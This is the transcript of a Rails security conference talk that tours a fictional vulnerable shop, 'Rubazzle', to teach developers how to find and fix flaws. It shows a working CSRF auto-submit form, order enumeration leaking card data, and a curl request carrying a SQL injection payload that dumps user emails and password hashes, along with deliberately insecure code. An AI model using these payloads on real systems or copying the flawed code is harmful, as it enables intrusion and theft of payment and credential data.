Tales from the Crypt

Tales from the Crypt

In this talk, three Rails security specialists will take a journey through a terrifying Rails application to illustrate common security problems we have seen in the real world. The discussion will include how to identify, fix, and prevent the issues with an emphasis on practical advice. Along the way we will share our experiences and perspectives concerning securely implementing applications. We hope it is a bit scary, and yet fun … like a horror movie!

711272a06d435ca5139b50874351cdbf?s=128

Justin Collins

April 25, 2014
Tweet

Transcript

  1. Tales from the Crypt: Rubazzle Justin Collins Aaron Bedra Matt

    Konda
  2. None
  3. Monday, Rubazzle office, 8:42am

  4. Started POST "/orders" for 127.0.0.1 at 2014-04-23 12:07:54 -0500 !

    Processing by OrdersController#create as HTML Parameters: {"utf8"=>"✓", “order"=> {"product"=>"Rubazzle Case (MBP 13 Retina)", "quantity"=>"5", "price"=>"100.00", "cc"=>"4111111111111111", "cvv"=>"123", "expiration"=>"4/28/17", "first_name"=>"Aaron", "last_name"=>"Bedra"}, "commit"=>"Create Order"} ! Request tracked from partner: http://wowsodogememe.com/view.php?id=31337 ! Redirected to http://www.rubazzle.com/orders/2349 Completed 302 Found in 35ms (ActiveRecord: 5.8ms)
  5. Started POST "/orders" for 127.0.0.1 at 2014-04-23 12:07:54 -0500 !

    Processing by OrdersController#create as HTML Parameters: {"utf8"=>"✓", “order"=> {"product"=>"Rubazzle Case (MBP 13 Retina)", "quantity"=>"5", "price"=>"100.00", "cc"=>"4111111111111111", "cvv"=>"123", "expiration"=>"4/28/17", "first_name"=>"Aaron", "last_name"=>"Bedra"}, "commit"=>"Create Order"} ! Request tracked from partner: http://wowsodogememe.com/view.php?id=31337 ! Redirected to http://www.rubazzle.com/orders/2349 Completed 302 Found in 35ms (ActiveRecord: 5.8ms)
  6. None
  7. None
  8. <form method="post" action="http://www.rubazzle.com/orders" id="rubazzle">! <input type="hidden" name="order[product]" value="Rubazzle Case (MBP

    13 Retina)"/>! <input type="hidden" name="order[quantity]" value="10"/>! <input type="hidden" name="use_card_on_file" value="true"/>! </form>! <script>document.getElementById("rubazzle").submit()</script>
  9. class ApplicationController < ActionController::Base # Prevent CSRF attacks by raising

    an exception. # protect_from_forgery with: :exception ! def track_partner logger.debug("Request tracked from partner: #{request.env["HTTP_REFERER"]}") end end
  10. Monday, Rubazzle office, 10:00am

  11. Started GET "/orders/2.json" for 75.28.130.156 at 2014-04-23 13:57:28 -0500 Processing

    by OrdersController#show as JSON Parameters: {"id"=>"2"} Request tracked from partner: Order Load (0.4ms) SELECT "orders".* FROM "orders" WHERE "orders"."id" = $1 LIMIT 1 [["id", 2]] Rendered orders/show.json.jbuilder (0.7ms) Completed 200 OK in 6ms (Views: 4.1ms | ActiveRecord: 0.4ms) ! ! Started GET "/orders/3" for 75.28.130.156 at 2014-04-23 13:57:28 -0500 Processing by OrdersController#show as */* Parameters: {"id"=>"3"} Request tracked from partner: Order Load (0.3ms) SELECT "orders".* FROM "orders" WHERE "orders"."id" = $1 LIMIT 1 [["id", 3]] Rendered orders/show.html.erb within layouts/application (0.5ms) Rendered layouts/_navigation_links.html.erb (0.9ms) Rendered layouts/_navigation.html.erb (5.8ms) Rendered layouts/_messages.html.erb (0.1ms) Completed 200 OK in 32ms (Views: 29.6ms | ActiveRecord: 0.3ms) ! ! Started GET "/orders/3.json" for 75.28.130.156 at 2014-04-23 13:57:28 -0500 Processing by OrdersController#show as JSON Parameters: {"id"=>"3"} Request tracked from partner: Order Load (0.3ms) SELECT "orders".* FROM "orders" WHERE "orders"."id" = $1 LIMIT 1 [["id", 3]] Rendered orders/show.json.jbuilder (0.5ms) Completed 200 OK in 5ms (Views: 3.2ms | ActiveRecord: 0.3ms)
  12. Started GET "/orders/2.json" for 75.28.130.156 at 2014-04-23 13:57:28 -0500 Processing

    by OrdersController#show as JSON Parameters: {"id"=>"2"} Rendered orders/show.json.jbuilder (0.7ms) Completed 200 OK in 6ms ! Started GET "/orders/3.json" for 75.28.130.156 at 2014-04-23 13:57:28 -0500 Processing by OrdersController#show as JSON Parameters: {"id"=>"3"} Rendered orders/show.json.jbuilder (0.5ms) Completed 200 OK in 5ms
  13. None
  14. None
  15. None
  16. Most requested ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ OrdersController#show.JSON ┃ 130 hits ┃ 28.7% ┃

    ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ OrdersController#show.*/* ┃ 97 hits ┃ 21.0% ┃ ░░░░░░░░░░░░░░░░░░░░░░░ HomeController#index.HTML ┃ 83 hits ┃ 15.8% ┃ ░░░░░░░░░░░░░░░░░░
  17. None
  18. { "id":2, "product":"a", "quantity":, "price":"3.0", "cc":"143423433234342234", "cvv":"342", "expiration":"May,2010", "first_name":"Matt", "last_name":"Konda",

    "created_at":"2014-04-22T20:11:39Z", "updated_at":"2014-04-22T20:11:50Z" }
  19. Monday, Rubazzle office, 3:00pm

  20. None
  21. None
  22. None
  23. None
  24. @qualifying_orders = Order.where("rewards_code = '#{current_user.rewards_code}'")

  25. validates_format_of :rewards_code, :with => /^[a-z0-9]+$/i

  26. def update @user = User.find(params[:id]) authorize @user if @user.update_attributes(params.permit!) redirect_to

    users_path, :notice => "User updated." else redirect_to users_path, :alert => "Unable to update user." end end
  27. ! curl 'http://www.rubazzle.com/users' -H 'Cookie: request_method=GET; _rubazzle_session=Y05oRmJqTFpEcXhaQ01QNEh4dXU5Z1BLd0dBNDBFc2VuNDRnek lwZlpCMUV4VlN1cCtpYTdhUnhWd01mV2ovTjlMRmJHWTcyc29RaWNOSGE1NjhBUTFJMV o4SThPTG4xcjNiM1hXc2hKUU5ZZkpvOGI4dis5dGw3TlU0L0VMMEg1NHpzODVqYmdlcV U2YzVERHBkb3hFdmZGeTB6VXVNOFpCTi9IZUtaTDlQMUxuODRTb0JSaW5GNGZhZzhSdU

    pIdjVKVDNUbC94NzRnaDlJdW5vWjVVaVZJUjJSQmVUYU1RZnB5Tm1Icmw0UT0tLVFSan A0TVh2a3FZbDcreG50Z0p6REE9PQ%3D %3D--51a22556b9f2567c46943497f09d03680ecde340' -H 'Origin: http:// www.rubazzle.com' -H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/ html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/ *;q=0.8' -H 'Cache-Control: max-age=0' -H 'Referer: http:// www.rubazzle.com/users/edit' -H 'Connection: keep-alive' --data 'utf8=%E2%9C %93&_method=put&authenticity_token=HDN82RYSeMrhOi8gMCTPp9OWBdA9lJmXj tJvnSAOz2U%3D&user%5Bname%5D=Ronica2+Rails&user%5Bemail%5D=ronika %40jemurai.com&user%5Bpassword%5D=&user%5Brewards_code%5D=a%0A %27%29+union+select+id%2C+%27product%27%2C+1%2C+1%2C+%27cc%27%2C+ %27cvv%27%2C+%27expiration%27%2C+email+as+first_name%2C +encrypted_password+as+last_name%2C+created_at%2C+updated_at%2C+id %2C+%27reward%27+from+users%3B+--&user%5Bpassword_confirmation %5D=&user%5Bcurrent_password%5D=password&commit=Update' --compressed
  28. UPDATE "users" SET "rewards_code" = $1, "updated_at" = $2 WHERE

    "users"."id" = 24 ! [["rewards_code", "a\n') union select id, 'product', 1, 1, 'cc', 'cvv', 'expiration', email as first_name, encrypted_password as last_name, created_at, updated_at, id, 'reward' from users; --"], ["updated_at", "2014-04-23 22:20:40.344101"]]
  29. SELECT "orders".* FROM "orders" WHERE (rewards_code = 'a') union select

    id, 'product', 1, 1, 'cc', 'cvv', 'expiration', email as first_name, encrypted_password as last_name, created_at, updated_at, id, 'reward' from users; --')
  30. None
  31. Tuesday, Rubazzle office, 8:00am

  32. Thanks! Resources! • rails-sqli.org • guides.rubyonrails.org/security.html • www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet Us! •

    @abedra • @mkonda • @presidentbeef Thanks Railsconf!